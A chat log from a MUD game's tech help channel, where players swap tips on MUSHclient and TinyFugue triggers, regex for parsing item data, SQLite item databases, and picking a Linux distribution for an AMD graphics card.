T3/r7/2013-02-01.txt.gz:{chan ch=tech}Thunderax Tech: you mean nochanned? help nochan then
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Thunderax Tech: read the second to last paragraph
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Moonburst Tech: when do the imms give back the comm to the person?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Styliann Tech: when or if we decide to - depends on the person and the reason they were banned
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Thunderax Tech: yeah, best is to write a polite note asking imo
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Styliann Tech: and we don't discuss channel bans with anyone but the person banned
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Moonburst Tech: hmmmm ok thanks
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: So I have a thing setup to grab all the data from invdata/eqdata and invdata <container>, getting 782 items where my weight says 788... I have nothing keepflagged, any idea what might be missing or extra in either set?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Zetkax Tech: didnt count the countainers?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Mendaloth Tech: The human soul weighs 4?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Wait, no, it was due to some items having out of order KMGHIT flags o.0
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Didn't know that was possible :-( Going to make grepping a bit trickier
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: any plugins for mushclient that automagically save everything I identify to a DB?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: I am making one right now :-P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: But I think Bast might have a current one?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: hmm I'm going to need to take a look
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: I guess the hardest part is the Regex isn't it?  Then again I haven't looked into interacting with sqllite and lua
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: It's all a case of fiddly, and making sure you keep the database current - easy to fall behind with dropping, getting etc
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: if you don't want to use bast's, and want to make one yourself, the biggest info is to use invmon and its relatives
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: any quick and dirty way to assign primary key and prevent from adding additional of the same item?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: other than being careful =p
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: you wouldn't know if it's the same item, though
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Create the db with a primary key in the create table query
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Use the item's id for pkey
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nocilis Tech: the object id under identify will always be unique, even for every potion you buy
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: right, you don't want 3 million heal pots in the db
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: I thought the ID num was specific to that item iteelf
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: so you can make a db unique constraint on "everything but itemID"
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: So filter entries based on type
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Only input it into the db if the item type is not 8
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: that would allow it to add, say, one each of level 3, 4, 5, 6 and 7 garbage cans
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: I like, haha thanks I was just looking for a plugin and now I'm planning on a bit of coding.  Go Friday!  Thanks guys
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: this would impact more than just potions
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Axl Tech: I just switched from zmud to cmud 3 pro and I can't figure out how to make simple triggers on cmud
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: well, there is bast's eqdb if you're just looking for a plugin
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: I'm a data hoarder basically
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: and I'm running this thing in wine so it seemed like some of the things that relied on jet and such crashed and burned
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: I believe it's currently set to be strictly a database of what you currently have on your pfile (as in, it deletes as you drop/sell/use items), but it's still a great start for the grunt work
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: sounds like a good base, I don't like reinventing the wheel, just a few little modifications to it
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: so you'd want to constrain against repeats and comment out the "remove when item gotten rid of" stuff
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: As for mine, it is in dev atm but it keeps 1 db of all items I currently have on me, and then keeps a secondary db of items I have seen/id'ed, etc - using things I see to parse a range for each item - so it would be 1 entry for garbage can, with the level field being ranged 3-7 (actually storing a lua table object, but you get the idea)
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Haven't worked out how I want to handle items with ill/res/sol flags vs those items which are the same but lack them...
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: nod, that's always a tough one to handle...want "base" for info, but good to keep track of probably both "what I have" and "best I've seen"
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: I actually have a script that uses ident and lore output which writes to a flat file, that I wrote well before we had invmon
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Very much a shame that wasn't implemented like objstat/objlower :-(
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: mind sharing it Abe?  Understand if you don't it feels akward asking for someones code
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: and whenever I identify, lore, appraise, bid, rbid or lbid, it puts two lines under the ident output of "Total Stats = 1" and "Total DR = "+1"
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: it's for tinyfugue
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: is it still using Regex for matching and all that fun jazz?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Mush uses PCRE, doesn't tinyfugue use POSIX?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: tf uses pcre
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: I'm regex braindead always takes me forever, thats why I was curious about your script that writes to a flat file
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Use http://regexpal.com/ to help. It's ECMA, but close enough
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: it's pretty simple for that...a bunch of separate regexes for the different fields.../def -F -mregexp -t'^[|] Names      : ([^|]+) ([ ]+)[|]' set_item_keywords = /eval /set item_keywords=%%P1...pipe, space, Names, so many spaces, colon, single space, capture anything except pipe, space(s), closing pipe
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: /def -F -mregexp -t'Strength     : ([+-][0-9]+)' set_item_stat_str = /eval /set item_stat_str=%%P1
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: hmm, I think I may have been slightly over thinking it
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: capturing each of the stats as a separate unanchored regex of Statname : (numeric)
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: because you won't know if it's the left side or the right side
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: I tried that as a multiline... don't do that :-P Trigger enabling is much, much easier
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: nod, performing the ident, etc. is a "turn this on", and there's a "turn this off" after
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: but really, look at invdetails
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: mine is only using that because the invstuff wasn't going to be created for years
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Does invdetails data increase after you get the identify wish?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: {weapon}dagger|693|pierce|Pierce|vorpal
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: So no location/resists info then? :-(
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: no, it gives those
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: {resistmod}Acid|100
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nocilis Tech: i did not know about invdetails, that is nice
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: I was just doing the weapon stuff because some weapon stuff is missing in ident command and lore
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Missing even with wish?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: I meant that's why I chose to paste a weapon, which wouldn't have had resists
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: look at invdetails, it's a multiline with different classes of info on different lines, but it's easily parseable
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: without switching to alt, I dunno how complete or incomplete invdetails is without the wish
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: You get area found from invdetails with wish?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: there is no spot for that. that's the only thing you don't get which you can possibly get otherwise
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: if doing today, and I cared about area, I'd use invdata/details/mon for all the info and then lore for nothing but area...but for the db, you'd probably want to cross-reference areaname and only save it using area keyword
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: for a database, you'd probably want to include a way to manually add notes such as what MOB you get it from, etc
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: I also have an in-client command to search the iwuvaard eq database :-)
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: ozzy had a nice writeup on doing that for zmud
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: Anyone a linux user?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Fluffhead Tech: quite a few here, I imagine...
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: Well I was hoping to get some help and advise.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Fluffhead Tech: ...yes, ok?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Hanslanda Tech: if that's all you're bringing to the helpdesk, probably best to stick with Windows.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Bast Tech: ask your question, your just wasting time at this point
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: NOt sure what linux to get for my computer. Everything I have tried locks up. A distro someone could point me to look at.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Ubuntu is probably the simplest
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Fluffhead Tech: Umm, what kind of comp, specs, what are you trying to use on it...
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Bast Tech: I use opensuse, but ubuntu is a popular distro
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: I think most have issue with my graphics card amd hd 6xxx
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I had similar issues with my motherboard and video card combo (6950)...
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: did you find a work around?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: After some headaches about distros locking up, I found that if I got some of the nightly builds of a couple distros it would work. Just needed newer kernels than were in the stable builds.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Some of the very recent kernels have a whole new kernel module setup for the AMD video cards.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: know what kernel i should look for?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Not off the top of my head, unfortunately... I know I grabbed a nightly Gentoo Linux build, but that was only a couple weeks ago.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: Ah. I'm not ready for gentoo just yet. I'll keep searching
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: Thank yoiu
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: But some poking around on that subject may give an answer.. Something with AMD adapters and framebuffer support.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Bast Tech: the latest kernel is 3.7 with 3.8 just around the corner
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I think other distros that have either nightly or unstable builds may cut it.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: It was somewhere in the 3.7 line, but I'm not sure of the minor revision.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Bast Tech: most distros usually have a repository that has the latest kernel
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Looks like this was announced in mid-December, so very fresh kernel builds.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I tried about 4 distros over the last several months and couldn't get any of them to even boot their installers on my machine until I tried that new build.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: I'll keep looking around and seeing what I can figure. I want window gone. Always had a thing for linux
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ranrr Tech: That's the spirit!
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: That is the problem I am having Robbo.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Unfortunately, all that fighting, and I ended up removing it. Support for my 3-monitor eyefinity setup was ... shoddy.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Sigh. Maybe I'll try again in 6 months :P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: Linux is getting better and better each year. Slow process.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I ran Linux at home in various flavors for about 7 years, but switched off about 2007 or 2008 because of hardware support issues on my last machine.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I'd like to switch back, but my current machine was built as a gaming rig, and seems to have even more issues than the last.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Maybe I'll build another machine to play on.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ranrr Tech: Linux is getter better, definitely, but ubuntu is getting worse, I'm thinking about dropping it next install and just go for debian instead.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Ubuntu's new default WM setup is almost as bad as Windows 8 :P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I'm sure it's lovely on tablets... but no.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Yay for Ubuntu Server :-P Touch screen? Pah, got me a terminal
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: I have been seeing that Ubuntu is going down hill. Trying for other distro.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Amen, brother Vakieh.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Hanslanda Tech: why would you use Linux/nix for a gaming rig?  Wouldn't you just have to emulate?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ranrr Tech: Well, ubuntu server is debian.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I was planning on a multi-boot setup for playtime.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Got extra hard drives just laying around, so why not? :P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Anyone doing anything with *nix and gaming before steambox is released is silly
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ranrr Tech: I am gaming on linux as we speak!
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Mud doesn't count Ranrr :-P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I do play a handful of Indie games, many of which have good Linux builds.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: I don't really game much like I used too. If do any gaming its muds now. So I don't need crazy hardware.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: But I also play some games that definitely only run in Win
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Hanslanda Tech: Aard doesn't count.  Unless your box is hired out as one of the server's Aard's hosted from.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ranrr Tech: Well, steam is in beta and from what I have heard seems to work...
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I was kind of intending to try it out, had my video support worked a little better.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: For now I'll stick with running *nix in a VM, I suppose ;)
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: I just try ubuntu and it just freezes up at loading screen 12.04 and 12.10. Mint got past the loading screen. 
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Might try the 13.04 nightlies.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ranrr Tech: Probably better to go with a stable release with a new kernel
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: didn't know of it. I look it up.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Well, perhaps, if you can get the installer to boot :P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Most of the distros I tried to run on this hardware I couldn't even get the installers to boot. Tried passing every boot parameter known to man :(
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ranrr Tech: Even without X?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: there has to be something out there to work me. the search conitues.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: thank you for advise on what you guys know. it helps.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: is there more issue with 32 bit than 64 bit linux?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: more than what?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: should i get 64bit if i have it or 32bit with PAE support?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 64
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Nunedreek Tech: k
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: Anyone know the default font and size for the stat window in aardmush?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: Well done.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Heisenburger Tech: I think the font is Dina 8
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vesuviou Tech: i think its courier twelve 
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: Thanks.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vesuviou Tech: I have been using font type courier all this while, does anyone know of any better font which is pleasing to the eye, not too bug, neat and readable
T3/r7/2013-02-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there is no better font than courire
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Vakieh Tech: Anyone know if the extra ||| in invdetails have any use?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: how can I tell mapper to use home instead of portal when the room is noportal but recallable?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: great info on the website of the guy who wrote it
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: finger fiendish, MUSHclient, click wiki tab, included plugins, featured plugins, GMCP-driven world mapper
T3/r7/2013-02-02.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: ty
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: how do i delete a variable witha trigger in MUSHclient
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: is there a way to delete a variable with an alias in MUSHclient
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: test
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: according to my pc i have 223 mb graphics memory, how do i activate it?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Ranrr Tech: by turning on your computer
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: anyone?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Vakieh Tech: What do you want to do with it, and what makes you think it isn't activated already?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: uhm...im not that stupid
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: my games cant play full screen? and it looks junk...
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Vakieh Tech: That could be the 223mb? Current ave these days is 2-3gb
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Vakieh Tech: Try heading into the run box of your start menu and typing 'dxdiag'
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Vakieh Tech: If you get output in the 'display' tab, your gfx card or internal is activated already.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: well.,im not really into games
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: wonder wheres run on win 8 :p
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: nvm
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: tho it do say i have approx. Total memory 223 mb...
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Kelvar Tech: any ideas why my stats window wont update (stays blank) after updating the script/client?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Kelvar Tech: aardmush btw
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: have you tried re-installing the plugin
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Kelvar Tech: hmm
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Chromatus Tech: any way in mush client to make it automatically repeat the last command when you hit enter?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Zetkax Tech: yea its in one of the gui options
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Chromatus Tech: whats gui, I'm new to this client
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: graphical user interface
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Zetkax Tech: game -> configure -> commands and use the checkbox labelled "Auto Repeat Command"
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Lady Trisha Tech: click game/configure/output/input/auto repeat command
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Chromatus Tech: thanks, much more complicated, or rather sofisticated program than I'm used to.  I started out in the telnet days
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Lady Trisha Tech: poo you will get used to it after a bit yes.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Chromatus Tech: yeah, it'll take some playing with
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Chromatus Tech: loving this automapping feature, will it save it after I've been there once and be all mapped out the next time I'm here?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Zetkax Tech: yes
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Lady Trisha Tech: yes it will unless crashes
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Chromatus Tech: sweet, gonna def need to play around with this
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: is it possible to delete variables with an alias in MUSHclient
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Chromatus Tech: hrrrm, my auto tracker/hunt from winkie doesn't work, say You are confident that An advisor passed through here, heading east.xmapper move 30808 but doesn't move me
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Chromatus Tech: any suggestions
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: anyone on who can help me with sripts and triggers in MUSHclient
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: scripts*
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Lady Trisha Tech: botting is that way ----->
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: Remarto goes, "Hmmmm."
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: botting makes the game pointless, why bot
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Jhav Tech: The Aardwolf Mushclient package page should get you started on aliases, triggers, scripts etc.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Lady Trisha Tech: my point exactly yes
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Jhav Tech: If you haven't read those pages, I recommend you do before continueing.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Lady Trisha Tech: plus there is the help for it also to get you on the right path.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Zetkax Tech: when i type eqdata using mushclient, i dont see anything - why?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Redryn Tech: some script gagging it?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Ramen Noodlez Tech: If you have the window it should gag it and capture it.
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Zetkax Tech: i assume so also, trying to figure out what
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Zetkax Tech: noodlez, what window? one of basts plugins?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: how would i get it to recognise what variables from a list that isnt nill and add them to a string for output?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Zetkax Tech: i think i found it, thanks
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Zetkax Tech: checking for variable which isnt nil: if variable ~= nil then s = s.."i found it" end
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: thanks
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: if i have expanded variables ticked, how would i add in colour codes?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Sobeit Tech: how do I use the eqsets plugin from bast?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: have you looked at his website's page on it?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Sobeit Tech: will look at it, is it the code.google.com?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: how do i get a wildcard to include multiple words while trimming the spaces at either end
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: depends on the wildcard, language, program
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: lua mush item name
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: how do i get a wildcard to include multiple words while trimming the spaces at either end with the lua built into the MUSHclient
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Redryn Tech: (?:s*(.+)s*)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Redryn Tech: regex
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Redryn Tech: (?:\s*(.+)\s*)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: i get the regex but thanks
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: or better, use the inv* stuff which is designed from the ground up to be parseable
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: im trying to get it to work with auc which isnt part of inv
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: also, for that regex, you'll want either .+? rather than just .+
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Redryn Tech: well it depends on the rest of the regex
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: so (?:\s*(.+?)\s*)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: you want the non-space wildcard to be the one expressly non-greedy
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: no it doesn't
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Redryn Tech: but properly written it should trim the whitespace for you
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Sobeit Tech: how do I see the serial number of an item?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: regex will be rather random when multiple "one or more" can match
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: identify it
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: use invmon, invdata, eqdata, etc
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: my example being | Name       : a hallowed light                                   | abd just getting a hallowed light
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Remarto Tech: i had it before but ccannot figure it out again
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Sobeit Tech: oh like lore or object read
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: yes, we know your example
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: don't need lore or object read...just ident
T3/r7/2013-02-02.txt.gz:{chan ch=tech}BobTheGreat Tech: Is there a way to make Mushclient's window icon flash on a trigger?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: have you tried FlashIcon()?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I'd suggest that's a bad idea--do you realize just how many triggers there are in the Aard mushclient?
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: a particular trigger, not just when "a" trigger fires
T3/r7/2013-02-02.txt.gz:{chan ch=tech}BobTheGreat Tech: Thanks, Abe. I'll check that out
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: I went to help, index, typed in "flash" and say "FlashIcon" in the matching words, double-clicked on the FlashIcon option to bring up the help on that particular function
T3/r7/2013-02-02.txt.gz:{chan ch=tech}Tech: say -> saw
T3/r7/2013-02-02.txt.gz:{chan ch=tech}BobTheGreat Tech: Cool :)
T3/r7/2013-02-02.txt.gz:{chan ch=tech}BobTheGreat Tech: But my help doesn't work :/
